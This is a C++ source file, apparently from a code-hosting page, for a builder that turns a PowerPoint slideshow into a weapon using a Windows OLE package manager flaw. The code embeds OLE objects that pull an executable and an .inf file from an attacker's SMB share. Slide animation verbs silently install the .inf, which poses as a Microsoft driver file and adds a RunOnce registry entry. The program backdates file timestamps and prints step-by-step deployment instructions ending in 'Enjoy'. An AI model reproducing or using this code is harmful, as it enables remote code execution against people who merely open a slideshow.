Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
1201 lines (843 sloc) 39.7 KB
/*++
Title:
Windows NT 6.X OLE package manager remote code execution through
MS Office Powerpoint XYZ slideshow (ppts, pptxs).
EID:
00000217:2013/06/10
Description:
Undocumented features exist in Windows NT 6 OLE package manager.
These features allow to bypass 'Safe download' mechanism from
untrusted sources and to execute imm. The IContextMenu i-face
is used by 3-rd party software (such as MS Office Powerpoint XYZ)
to unpack and dispatch package data. Shell action to be applied
to package is specified by action id in 'cmd' parameter of slide
xml-based document. Action Id '-1' and '-2' are reserved by MS
Office Powerpoint engine. Currently, silent '.inf' installation
is used for mitigation bypass. The MS Office for Windows XP
contains internal OLE Package interpreter, so Windows XP doesn't
affected.
Hi F-5ecure and E5et! We are offering you to patch holes and
backdoors in your fucking AV-s. We know about them.
Discovered:
2013/06/06
--*/
#include <Windows.h>
#include <OleAuto.h>
#include <stdio.h>
#include <OAIdl.h>
#include <string>
#include <shldisp.h>
#include <tlhelp32.h>
#include <assert.h>
using namespace std;
#define MAKE_OFFICE_IMPORT 0
#if MAKE_OFFICE_IMPORT
#import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\VBA6\\VBE6EXT.OLB"
#import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\mso.dll"
#import "z:\\Program Files (x86)\\Microsoft Office\\Office12\\msppt.olb"
/* Modify office headers after import.
In file vbe6ext.tlh specify:
#include "mso.tlh"
using namespace Office;
In file msppt.tlh specify:
#include "vbe6ext.tlh"
using namespace VBIDE;
*/
#else
#if _DEBUG
#include "Debug\mso.tlh"
#include "Debug\vbe6ext.tlh"
#include "Debug\msppt.tlh"
#else
#include "Release\mso.tlh"
#include "Release\vbe6ext.tlh"
#include "Release\msppt.tlh"
#endif
#endif
/* Processor definitions
*/
static HRESULT __G_hresult = S_OK;
#define CHK_HR( hr ) do { if (FAILED(__G_hresult = (hr))) { goto _Done; } } while(0)
#define CHK_ALLOC( ptr ) do { if ((ptr) == NULL) {goto _Done; } } while(0)
#define SAFE_RELEASE_BY_REF( obj ) do { if((*obj) != NULL) { (*obj )->Release(); *obj = NULL;} } while(0)
#define SAFE_FREE_BSTR_BY_REF( obj ) do { if((*obj) != NULL) { SysFreeString((*obj)); (*obj) = NULL;} } while(0)
#define VariantInitAsLong( var, val) \
VariantInit( &(var) ); \
(var).vt = VT_I4; \
(var).lVal = val;
/*************************************************************************
Rtns definition
*************************************************************************/
int wmain(int argc, wchar_t **argv);
bool change_file_time(__in wchar_t *fname);
void print_usage_and_exit(__in wchar_t *exe);
bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp);
bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave);
bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2);
bool rewrite_embeddings_in_presentation(__in wchar_t *fnamePpt, __in wchar_t *fnameData);
bool parse_cmd(int argc, wchar_t **argv, wstring *fnamePptIn, wstring *smbPath, wstring *fnameExe,wstring *fnameExeOnSmb,wstring *fnameInfOnSmb, bool *bForceUpload);
/*************************************************************************
Rtns implementation
*************************************************************************/
bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp) {
wstring stdWstrFileSaveAs;
PowerPoint::PpSaveAsFileType saveAsType;
bool bres = false,
bDoesHaveOlePackages = false;
CLSID appClsid = { 0 };
BSTR bstrApplicationProgId = NULL,
bstrPresentationPath = NULL,
bstrSaveAs = NULL;
PowerPoint::_Application *pApplication = NULL;
PowerPoint::Presentations *pPresentations = NULL;
PowerPoint::_Presentation *pPresentation = NULL;
PowerPoint::Slides *pSlides = NULL;
PowerPoint::_Slide *pSlide = NULL;
PowerPoint::Shapes *pShapes = NULL;
PowerPoint::Shape *pShape0 = NULL,
*pShape1 = NULL,
*pShapeCurr = NULL;
PowerPoint::TimeLine *pTimeLine = NULL;
PowerPoint::Sequences *pSequences = NULL;
PowerPoint::Sequence *pSequence = NULL;
PowerPoint::Effect *pEffect = NULL;
PowerPoint::AnimationBehaviors *pAnimationBehaviors = NULL;
PowerPoint::AnimationBehavior *pAnimationBehavior = NULL;
PowerPoint::CommandEffect *pCommandEffect = NULL;
PowerPoint::SlideShowTransition *pSlideShowTransition = NULL;
VARIANT varSlideIndex;
/* Produce file name for saving
*/
stdWstrFileSaveAs.append(fnameSaveAs);
saveAsType = PowerPoint::PpSaveAsFileType::ppSaveAsOpenXMLShow;
CHK_ALLOC( bstrApplicationProgId = SysAllocString(L"Powerpoint.Application"));
/* Obtain POwerPoint App CLSID from PowerPoint App Identifier
*/
CHK_HR( CLSIDFromProgID( bstrApplicationProgId, &appClsid) );
/* Create instance of POWERPOINT Application
*/
CHK_HR( CoCreateInstance(
appClsid,
NULL,
CLSCTX_LOCAL_SERVER,
__uuidof(PowerPoint::_Application),
(LPVOID*)&pApplication) );
/* Get presentation collection
*/
CHK_HR( pApplication ->get_Presentations(&pPresentations) );
/* Open presentation
*/
CHK_ALLOC( bstrPresentationPath = SysAllocString(fname) );
CHK_HR( pPresentations ->raw_Open(
bstrPresentationPath,
Office::MsoTriState::msoFalse,
Office::MsoTriState::msoFalse,
Office::MsoTriState::msoFalse,
&pPresentation) );
/* Make sure that presentation doesn't have a lot of ole packages
*/
if (!presentation_does_have_ole_packages(pPresentation, &bDoesHaveOlePackages)) {
CHK_HR( E_ABORT );
}
if (bDoesHaveOlePackages) {
printf("[-] ERROR: Specified presentation already includes OLE objects or no slides found.\n");
CHK_HR( E_ABORT );
}
/* Get collection of slides
*/
CHK_HR( pPresentation ->get_Slides( &pSlides) );
/* Get first slide by index
*/
VariantInitAsLong(varSlideIndex, 1);
CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
/* Get collection of shapes in slide
*/
CHK_HR( pSlide ->get_Shapes( &pShapes) );
/* Add 1-th shape to slide as first OLE object
*/
CHK_HR( pShapes ->raw_AddOLEObject(
100.0, -100.0, 30.0, 30.0,
_bstr_t(L""),
_bstr_t(fname1Tmp),
Office::MsoTriState::msoFalse,
_bstr_t(L""),
0,
_bstr_t(L""),
Office::MsoTriState::msoFalse,
&pShape0
) );
/* Add 2-th shape to slide as second OLE object
*/
CHK_HR( pShapes ->raw_AddOLEObject(
150.0, -100.0, 30.0, 30.0,
_bstr_t(L""),
_bstr_t(fname2Tmp),
Office::MsoTriState::msoFalse,
_bstr_t(L""),
0,
_bstr_t(L""),
Office::MsoTriState::msoFalse,
&pShape1
) );
/* Configure slide timing
*/
CHK_HR( pSlide ->get_TimeLine( &pTimeLine ) );
/* Obtain Main Sequence for timeLine of slide
*/
CHK_HR( pTimeLine ->get_MainSequence( &pSequence) );
/* Produce first effect for 1-th shape.
1-th shape specifies OLE Object which just copies .exe payload
from remote SMB server and stores in temporary file.
Specify command verb as '-3' which tells to ShellApi do nothing.
Effect with id 1 loads slide background.
Effect with id 2 loads exe stub from remote server.
*/
{
CHK_HR( pSequence ->raw_AddEffect(
pShape0,
PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
PowerPoint::MsoAnimTriggerType::msoAnimTriggerWithPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
1,
&pEffect) );
SAFE_RELEASE_BY_REF( &pEffect );
CHK_HR( pSequence ->raw_AddEffect(
pShape0,
PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
2,
&pEffect) );
CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"-3")) );
}
/* Release resources assigned with Shape0
*/
SAFE_RELEASE_BY_REF( &pCommandEffect );
SAFE_RELEASE_BY_REF( &pAnimationBehavior );
SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
SAFE_RELEASE_BY_REF( &pEffect );
SAFE_RELEASE_BY_REF( &pShape0 );
/* Produce first effect for 2-th shape.
2-th shape specifies OLE Object which simple copies .inf file
from remote SMB server and stores in temporary file with .inf extension.
Specify command verb as '3' which tells to ShellApi do 'Install' action.
Effect with id 3 loads .inf from remote server and start it.
*/
{
CHK_HR( pSequence ->raw_AddEffect(
pShape1,
PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious,
3,
&pEffect) );
CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"3")) );
}
/* Release resources assigned with Shape1
*/
SAFE_RELEASE_BY_REF( &pCommandEffect );
SAFE_RELEASE_BY_REF( &pAnimationBehavior );
SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
SAFE_RELEASE_BY_REF( &pEffect );
SAFE_RELEASE_BY_REF( &pShape1 );
/* Configure SlideShowTransition
*/
CHK_HR( pSlide ->get_SlideShowTransition(&pSlideShowTransition) );
CHK_HR( pSlideShowTransition ->put_EntryEffect( PowerPoint::PpEntryEffect::ppEffectBoxOut ) );
CHK_HR( pSlideShowTransition ->put_AdvanceTime( 0.5 ) );
SAFE_RELEASE_BY_REF( &pSlideShowTransition );
/* Release resources assigned with Presentation
*/
SAFE_RELEASE_BY_REF( &pSequence );
SAFE_RELEASE_BY_REF( &pTimeLine );
SAFE_RELEASE_BY_REF( &pShapes );
SAFE_RELEASE_BY_REF( &pSlide );
SAFE_RELEASE_BY_REF( &pSlides );
/* Save presentation
*/
CHK_ALLOC(bstrSaveAs = SysAllocString(stdWstrFileSaveAs.c_str()) );
CHK_HR( pPresentation ->raw_SaveAs( bstrSaveAs, saveAsType, Office::MsoTriState::msoTriStateMixed) );
bres = true;
_Done:
VariantClear( &varSlideIndex );
SAFE_FREE_BSTR_BY_REF( &bstrPresentationPath );
SAFE_FREE_BSTR_BY_REF( &bstrApplicationProgId );
SAFE_FREE_BSTR_BY_REF( &bstrSaveAs );
/* Release resources assigned with Shape0 and Shape1
*/
SAFE_RELEASE_BY_REF( &pCommandEffect );
SAFE_RELEASE_BY_REF( &pAnimationBehavior );
SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
SAFE_RELEASE_BY_REF( &pEffect );
SAFE_RELEASE_BY_REF( &pShape0 );
SAFE_RELEASE_BY_REF( &pShape1 );
/* Release resources assigned with Presentation
*/
SAFE_RELEASE_BY_REF( &pSlideShowTransition );
SAFE_RELEASE_BY_REF( &pSequence );
SAFE_RELEASE_BY_REF( &pTimeLine );
SAFE_RELEASE_BY_REF( &pShapes );
SAFE_RELEASE_BY_REF( &pSlide );
SAFE_RELEASE_BY_REF( &pSlides );
/* Close Currently opened presentation
*/
if (pPresentation) {
pPresentation ->raw_Close();
}
SAFE_RELEASE_BY_REF( &pPresentation );
SAFE_RELEASE_BY_REF( &pPresentations );
/* Close powerpoint automation application
*/
if (pApplication) {
pApplication ->raw_Quit();
}
SAFE_RELEASE_BY_REF( &pApplication );
return bres;
}
bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2) {
bool bresult = false;
IStorage *pStorage = NULL;
IStream *pStream = NULL;
HRESULT hresult = S_OK;
CLSID clsidMedia = {0};
VOID *pvFileData = NULL;
size_t dataSize = 0;
ULONG bytesWritten = 0;
char trailer = 0;
wstring stdWstrFileNameOut;
stdWstrFileNameOut.append(file_result);
hresult =
StgCreateStorageEx(
stdWstrFileNameOut.c_str(),
STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
STGFMT_STORAGE,
0,
NULL,
NULL,
IID_IStorage,
(void**)&pStorage
);
if (FAILED(hresult)) {
//printf("[-] %s(): StgCreateStorageEx failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(hresult);
}
hresult =
pStorage ->CreateStream(
L"\x01OLE10Native",
STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
0,
0,
&pStream
);
if (FAILED(hresult)) {
//printf("[-] %s(): IStorage::CreateStream failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(hresult);
}
dataSize = strlen(str1) + 1 + strlen(str2) + 1;
// write header
hresult = pStream ->Write( &dataSize, (ULONG)4, &bytesWritten );
if (FAILED(hresult)) {
//printf("[-] %s(): IStream::Write(header) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
// write string 1
hresult = pStream ->Write( str1, (ULONG)strlen(str1), &bytesWritten );
if (FAILED(hresult)) {
//printf("[-] %s(): IStream::Write(string#1) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
// write string 1 trailer
hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
if (FAILED(hresult)) {
//printf("[-] %s(): IStream::Write(string#1 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
// write string 2
hresult = pStream ->Write( str2, (ULONG)strlen(str2), &bytesWritten );
if (FAILED(hresult)) {
//printf("[-] %s(): IStream::Write(string#2) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
// write string 2 trailer
hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
if (FAILED(hresult)) {
//printf("[-] %s(): IStream::Write(string#2 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
// write class of storage
hresult = CLSIDFromString( L"{00022602-0000-0000-C000-000000000046}", &clsidMedia);
if (FAILED(hresult)) {
//printf("[-] %s(): CLSIDFromString failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(E_ABORT);
}
hresult = WriteClassStg(pStorage, clsidMedia);
if (FAILED(hresult)) {
//printf("[-] %s(): WriteClassStg failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
CHK_HR(hresult);
}
//printf("[+] %s(): Storage %S created.\r\n", __FUNCTION__, file_result);
change_file_time( (wchar_t*)stdWstrFileNameOut.c_str() );
bresult = true;
_Done:
SAFE_RELEASE_BY_REF( &pStream );
SAFE_RELEASE_BY_REF( &pStorage );
if(pvFileData) {
free(pvFileData);
}
return bresult;
}
bool create_somthing_file(wchar_t *fpath) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD bytesWritten = 0;
hFile = CreateFileW(fpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fpath);
return false;
}
if (FALSE == WriteFile( hFile, "Some Data\n", strlen("Some Data\n"), &bytesWritten, NULL)) {
wprintf(L"[-] ERROR: Cannot write temporary file %s with some data\n", fpath);
CloseHandle(hFile);
return false;
}
CloseHandle(hFile);
return true;
}
bool generate_inf_file(wchar_t *fnameInf, wchar_t *fnameExeOnSmb) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD bytesWritten = 0;
wstring stdFnameExeOnSmb;
string stdFnameExeOnSmbA;
string data;
BOOL bres = FALSE;
stdFnameExeOnSmb.append(fnameExeOnSmb);
stdFnameExeOnSmbA.append(stdFnameExeOnSmb.begin(), stdFnameExeOnSmb.end());
hFile = CreateFileW( fnameInf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fnameInf);
return false;
}
data.append("; 61883.INF\n");
data.append("; Copyright (c) Microsoft Corporation. All rights reserved.\n\n");
data.append("[Version]\n");
data.append("Signature = \"$CHICAGO$\"\n");
data.append("Class=61883\n");
data.append("ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n");
data.append("Provider=%Msft%\n");
data.append("DriverVer=06/21/2006,6.1.7600.16385\n\n");
data.append("[DestinationDirs]\n");
data.append("DefaultDestDir = 1\n\n");
data.append("[DefaultInstall]\n");
data.append("RenFiles = RxRename\n");
data.append("AddReg = RxStart\n\n");
data.append("[RxRename]\n");
data.append(stdFnameExeOnSmbA.c_str());
data.append(".exe, ");
data.append(stdFnameExeOnSmbA.c_str());
data.append("\n");
data.append("[RxStart]\n");
data.append("HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\");
data.append(stdFnameExeOnSmbA.c_str());
data.append(".exe\n");
bres = WriteFile(hFile, data.c_str(), data.length(), &bytesWritten, NULL);
FlushFileBuffers(hFile);
CloseHandle(hFile);
return (bres);
}
int wmain(int argc, wchar_t **argv) {
wstring stdWstrSaveAs,
stdWstrObject1,
stdWstrObject2,
stdWstrSavedAs;
wstring stdFnamePptIn,
stdSmbPath,
stdFnameExe,
stdFnameExeOnSmb,
stdFnameInfOnSmb,
stdPathExeOnSmb,
stdPathInfOnSmb,
stdPathTmp1,
stdPathTmp2,
stdPathInf,
stdPathExe;
string stdPathExeOnSmbA,
stdPathInfOnSmbA;
bool bForceUpload = false;
wchar_t currDir[MAX_PATH];
GetCurrentDirectoryW(MAX_PATH, currDir);
if (!parse_cmd(argc, argv, &stdFnamePptIn, &stdSmbPath, &stdFnameExe, &stdFnameExeOnSmb, &stdFnameInfOnSmb, &bForceUpload ) ) {
printf("[-] ERROR: invalid input\n");
return 0;
}
CHK_HR( CoInitializeEx(NULL, COINIT_APARTMENTTHREADED));
stdWstrSaveAs.append(stdFnamePptIn.c_str());
stdWstrSaveAs.append(L".saved.ppsx");
/* Construct a path to exe on SMB as %stdSmbPath%\%stdFnameExeOnSmb%
*/
stdPathExeOnSmb.append(stdSmbPath.c_str());
stdPathExeOnSmb.append(L"\\");
stdPathExeOnSmb.append(stdFnameExeOnSmb.c_str());
stdPathExeOnSmbA.append(stdPathExeOnSmb.begin(), stdPathExeOnSmb.end());
/* Construct a path to inf on SMB as %stdSmbPath%\%stdFnameInfOnSmb%
*/
stdPathInfOnSmb.append(stdSmbPath.c_str());
stdPathInfOnSmb.append(L"\\");
stdPathInfOnSmb.append(stdFnameInfOnSmb.c_str());
stdPathInfOnSmbA.append(stdPathInfOnSmb.begin(), stdPathInfOnSmb.end());
/* Construct a path to tmp1 file
*/
stdPathTmp1.append(currDir);
stdPathTmp1.append(L"\\tmp1.tmp");
if (!create_somthing_file((wchar_t*)stdPathTmp1.c_str()) ) {
CHK_HR(E_ABORT);
}
/* Construct a path to tmp2 file
*/
stdPathTmp2.append(currDir);
stdPathTmp2.append(L"\\tmp2.tmp");
if (!create_somthing_file((wchar_t*)stdPathTmp2.c_str()) ) {
CHK_HR(E_ABORT);
}
/* Modify presentation imm
*/
if (!produce_presentation(
(wchar_t*)stdFnamePptIn.c_str(),
(wchar_t *)stdWstrSaveAs.c_str(),
(wchar_t *) stdPathTmp1.c_str(),
(wchar_t *) stdPathTmp2.c_str()
) )
{
printf("[-] ERROR: cannot update presentation\n");
CHK_HR( E_ABORT);
}
/* Create OLE 1-th Object
*/
stdWstrObject1.append(currDir);
stdWstrObject1.append(L"\\");
stdWstrObject1.append(L"oleObject1.bin");
if (!create_ole_embed_stg_copy(stdWstrObject1.c_str(), "EmbeddedStg1.txt", (char*)stdPathExeOnSmbA.c_str()) ) {
printf("[-] ERROR: cannot create 1-th OLE Object\n");
CHK_HR( E_ABORT);
}
/* Create OLE 2-th Object
*/
stdWstrObject2.append(currDir);
stdWstrObject2.append(L"\\");
stdWstrObject2.append(L"oleObject2.bin");
if (!create_ole_embed_stg_copy(stdWstrObject2.c_str(), "EmbeddedStg2.txt", (char*)stdPathInfOnSmbA.c_str()) ) {
printf("[-] ERROR: cannot create 2-th OLE Object\n");
CHK_HR( E_ABORT);
}
/* Generate inf file
*/
stdPathInf.append(currDir);
stdPathInf.append(L"\\");
stdPathInf.append(stdFnameInfOnSmb.c_str());
if (!generate_inf_file((wchar_t*)stdPathInf.c_str(), (wchar_t*)stdFnameExeOnSmb.c_str())) {
printf("[-] ERROR: Cannot generate inf file\n");
CHK_HR(E_ABORT);
}
/* Generate exe for SMB
*/
stdPathExe.append(currDir);
stdPathExe.append(L"\\");
stdPathExe.append(stdFnameExeOnSmb.c_str());
if (!CopyFileW(stdFnameExe.c_str(), stdPathExe.c_str(), FALSE)) {
wprintf(L"[-] ERROR: Cannot create '%s' from '%s'\n", stdFnameExeOnSmb.c_str(), stdFnameExe.c_str());
CHK_HR(E_ABORT);
}
/* Upload files onto remote shared folder
*/
if (bForceUpload) {
if (!CopyFileW( stdPathExe.c_str(), stdPathExeOnSmb.c_str(), FALSE)) {
wprintf(L"[-] ERROR: Cannot upload .exe file '%s' to '%s'\n", stdPathExe.c_str(), stdSmbPath.c_str());
}
if (!CopyFileW( stdPathInf.c_str(), stdPathInfOnSmb.c_str(), FALSE)) {
wprintf(L"[-] ERROR: Cannot upload .inf file '%s' to '%s'\n", stdPathInf.c_str(), stdSmbPath.c_str());
}
}
int step = 1;
wprintf(L"[+] INFO: \n");
wprintf(L" %d) Rename presentation file '%s' to '%s.zip';\n", step++, stdWstrSavedAs.c_str(), stdWstrSavedAs.c_str());
wprintf(L" %d) Stupid MS developers cann't create API for zip, so unzip '%s.zip'\n", step++, stdWstrSavedAs.c_str());
wprintf(L" %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject1.c_str());
wprintf(L" %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject2.c_str());
wprintf(L" %d) Zip unzipped presentation and rename to presentation with '.ppsx'\n", step++);
if (bForceUpload) {
wprintf(L" %d) Copy '%s' into '%s'\n", step++, stdFnameExeOnSmb.c_str(), stdSmbPath.c_str());
wprintf(L" %d) Copy '%s' into '%s'\n", step++, stdFnameInfOnSmb.c_str(), stdSmbPath.c_str());
}
wprintf(L" %d) Enjoy..\n", step++);
_Done:
DeleteFileW( stdPathTmp1.c_str());
DeleteFileW( stdPathTmp2.c_str());
CoUninitialize();
return(__G_hresult);
}
bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave) {
bool bres = false;
PowerPoint::Slides *pSlides = NULL;
PowerPoint::_Slide *pSlide = NULL;
PowerPoint::Shapes *pShapes = NULL;
PowerPoint::Shape *pShape = NULL;
PowerPoint::OLEFormat *pOLEFormat = NULL;
long slidesCount = 0;
VARIANT varSlideIndex,
varShapeIndex;
int shapesCount = 0;
MsoAutoShapeType shapeType;
BSTR bstrProgId = NULL;
IDispatch *pOLEDispObject = NULL;
assert(doesHave != NULL);
assert(pPresentation != NULL);
*doesHave = false;
/* Get pointer to interface of Slides object.
*/
CHK_HR(pPresentation ->get_Slides(&pSlides) );
/* Get count of slides in presentation
*/
CHK_HR(pSlides ->get_Count(&slidesCount) );
/* Make sure that slides exist in presentation
*/
if (slidesCount == 0) {
printf("[-] Failed couse no slides found in presentation\n");
CHK_HR(E_FAIL);
}
for (long i = 1; i <= slidesCount; i ++) {
VariantInitAsLong(varSlideIndex, i);
CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
VariantClear( &varSlideIndex );
/* Get list of shapes
*/
CHK_HR( pSlide ->get_Shapes( &pShapes) );
/* Get count of shapes
*/
CHK_HR( pShapes ->get_Count(&shapesCount) );
/* Verify each shape
*/
for (int j = 1; j <= shapesCount; j++) {
VariantInitAsLong( varShapeIndex, j);
CHK_HR( pShapes ->raw_Item( varShapeIndex, &pShape) );
VariantClear( &varShapeIndex );
CHK_HR( pShape ->get_AutoShapeType( &shapeType) );
if (shapeType == Office::MsoAutoShapeType::msoShapeMixed) {
CHK_HR( pShape ->get_OLEFormat(&pOLEFormat) );
CHK_HR( pOLEFormat ->get_ProgID( &bstrProgId) );
if (wcsicmp( L"Package", bstrProgId) == 0) {
*doesHave = true;
}
SAFE_FREE_BSTR_BY_REF( &bstrProgId );
SAFE_RELEASE_BY_REF( &pOLEFormat );
}
SAFE_RELEASE_BY_REF( &pShape );
if (*doesHave) {
break;
}
}
///////////
SAFE_RELEASE_BY_REF( &pShapes );
SAFE_RELEASE_BY_REF( &pSlide );
if (*doesHave) {
break;
}
}
bres = true;
_Done:
VariantClear( &varShapeIndex );
VariantClear( &varSlideIndex );
SAFE_FREE_BSTR_BY_REF( &bstrProgId );
SAFE_RELEASE_BY_REF( &pOLEFormat );
SAFE_RELEASE_BY_REF( &pShape );
SAFE_RELEASE_BY_REF( &pShapes );
SAFE_RELEASE_BY_REF( &pSlide );
SAFE_RELEASE_BY_REF( &pSlides );
return bres;
}
bool change_file_time(wchar_t *fname) {
SYSTEMTIME systemTime = {0};
HANDLE hFile = INVALID_HANDLE_VALUE;
FILETIME fileTime = {0};
GetSystemTime( &systemTime);
systemTime.wYear = 1980;
systemTime.wMonth = 1;
systemTime.wDay = 1;
systemTime.wHour = 15;
systemTime.wMinute = 0;
systemTime.wSecond = 0;
hFile = \
CreateFileW(
fname,
FILE_WRITE_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
return false;
}
SystemTimeToFileTime( &systemTime, &fileTime);
SetFileTime( hFile, &fileTime, &fileTime, &fileTime);
CloseHandle(hFile);
return true;
}
bool rewrite_embeddings_in_presentation(__in wchar_t *fnameZip, __in wchar_t *fnameData)
/*++
Oh fuck! Stupid Microsoft developers cann't create human-relible
API for zip management. 21st century! WTF? I cann't use IShell
interface for zip management, so use 3rd party zip archivers.
--*/
{
bool bres = false;
IShellDispatch *pShell = NULL;
VARIANT varDir,
varFile,
varOption;
Folder *pFolder = NULL;
wstring stdWstrDir;
VariantInit(&varDir);
VariantInit(&varFile);
VariantInit(&varOption);
stdWstrDir.append(fnameZip);
stdWstrDir.append(L"\\ppt\\embeddings");
CHK_HR( CoCreateInstance( CLSID_Shell, NULL, CLSCTX_INPROC_SERVER, IID_IShellDispatch, (LPVOID*)&pShell) );
varDir.vt = VT_BSTR;
varDir.bstrVal = _bstr_t(stdWstrDir.c_str());
CHK_HR( pShell ->NameSpace(varDir, &pFolder) );
varFile.vt = VT_BSTR;
varFile.bstrVal = _bstr_t(fnameData);
varOption.vt = VT_I4;
varOption.lVal = FOF_NO_UI;
CHK_HR( pFolder ->CopyHere( varFile, varOption) );
Sleep( 1000 );
bres = true;
_Done:
//VariantClear( &varOption );
//VariantClear( &varFile );
//VariantClear( &varDir );
SAFE_RELEASE_BY_REF( &pFolder );
SAFE_RELEASE_BY_REF( &pShell );
return bres;
}
bool parse_cmd(
__in int argc,
wchar_t **argv,
wstring *fnamePptIn,
wstring *smbPath,
wstring *fnameExe,
wstring *fnameExeOnSmb,
wstring *fnameInfOnSmb,
bool *bForceUpload
)
{
wstring stdOpt;
bool bFnamePptIn = false,
bSmbPath = false,
bFnameExe = false,
bFnameExeOnSmb = false,
bFnameInfOnSmb = false;
if (argc < 11) {
print_usage_and_exit(argv[0]);
return false;
}
for (int i = 1; i < argc; i++) {
stdOpt.clear();
stdOpt.append(argv[i]);
if (stdOpt.compare(L"--force-upload") == 0) {
*bForceUpload = true;
continue;
}
if ((i+1) >= argc) {
printf("[-] ERROR: malformed input\n");
return false;
}
if ( stdOpt.compare(L"-p") == 0 ) {
fnamePptIn ->clear();
fnamePptIn ->append( argv[i+1]);
i+=1;
bFnamePptIn = true;
continue;
}
if ( stdOpt.compare(L"-smb") == 0 ) {
smbPath ->clear();
smbPath ->append( argv[i+1]);
i+=1;
bSmbPath = true;
continue;
}
if ( stdOpt.compare(L"-ef") == 0 ) {
fnameExe ->clear();
fnameExe ->append( argv[i+1]);
i+=1;
bFnameExe = true;
continue;
}
if ( stdOpt.compare(L"-eof") == 0 ) {
fnameExeOnSmb ->clear();
fnameExeOnSmb ->append( argv[i+1]);
i+=1;
bFnameExeOnSmb = true;
continue;
}
if ( stdOpt.compare(L"-iof") == 0 ) {
fnameInfOnSmb ->clear();
fnameInfOnSmb ->append( argv[i+1]);
i+=1;
bFnameInfOnSmb = true;
continue;
}
}
if (!bFnamePptIn || !bSmbPath || !bFnameExe || !bFnameExeOnSmb || !bFnameInfOnSmb) {
printf("[-] ERROR: Not all options specified\n");
return false;
}
return true;
}
void print_usage_and_exit(wchar_t *exe) {
wprintf(
L" **************************************************************** \n"
L"[?] Usage: %s [option|[option]...] \n"
